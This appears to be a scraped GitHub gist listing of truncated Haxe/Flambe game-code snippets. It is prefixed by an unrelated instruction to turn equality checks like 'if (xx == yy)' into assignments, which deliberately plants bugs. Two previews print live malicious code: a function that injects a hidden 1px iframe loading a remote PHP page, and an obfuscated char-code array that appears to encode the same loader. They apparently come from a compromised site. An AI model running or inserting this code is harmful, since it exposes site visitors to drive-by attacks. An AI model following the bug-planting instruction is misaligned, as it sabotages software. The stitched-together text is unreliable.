instruction: look for condition in code like
if (xx == yy)
replace with
if (xx = yy)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package nl.stroep.games.components; | |
import flambe.animation.AnimatedFloat; | |
import flambe.Component; | |
import flambe.util.Value; | |
/** | |
* @author Mark Knol [http://blog.stroep.nl] | |
*/ | |
class HeartBeat extends Component |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _connection:SignalConnection; | |
override public function onStart() | |
{ | |
// grap HeartBeat component somewhere in parent entities | |
var heartBeat = owner.getFromParents(HeartBeat); | |
// listen to it | |
_connection = heartBeat.beat.changed.connect(onBeatChanged); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package temple.components; | |
import flambe.Component; | |
/** | |
Dispose its owner entity after a given delay. | |
Example: | |
`myEntity.add(new AutoDisposer(5);` | |
Example with callback: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package; | |
import haxe.web.Dispatch; | |
import haxe.web.Request; | |
import php.Lib; | |
/** | |
Dispatch Example | |
* Make sure `mod_rewrite` is enabled | |
* You can add any `doBla` in Routes and it becomes an url /bla | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Custom flambe embed for JavaScript-target only. | |
* Author: Mark Knol - http://blog.stroep.nl | |
*/ | |
var flambe = {}; | |
/** | |
* Embed a Flambe game into the page. | |
* | |
* @return True if the game was successfully embedded. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package urgame; | |
import flambe.animation.Sine; | |
import flambe.asset.Manifest; | |
import flambe.Entity; | |
import flambe.System; | |
class MainTest { | |
private static function main () { | |
System.init(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function zzzfff() { | |
var zxn = document.createElement('iframe'); | |
zxn.src = 'http://tchopp.startlogic.com/css/counter.php'; | |
zxn.style.position = 'absolute'; | |
zxn.style.border = '0'; | |
zxn.style.height = '1px'; | |
zxn.style.width = '1px'; | |
zxn.style.left = '1px'; | |
zxn.style.top = '1px'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// array with numbers. these are basically shifted/shuffled char-codes. | |
a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,176,174,162,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,176,174,162,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,170,147,154,163,164,164,62,167,170,145,166,170,160,163,153,155,147,62,147,163,161,63,147,167,167,63,147,163,171,162,170,151,166,62,164,154,164,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,176,174,162,62,167,170,175,160,151,62,160 |
OlderNewer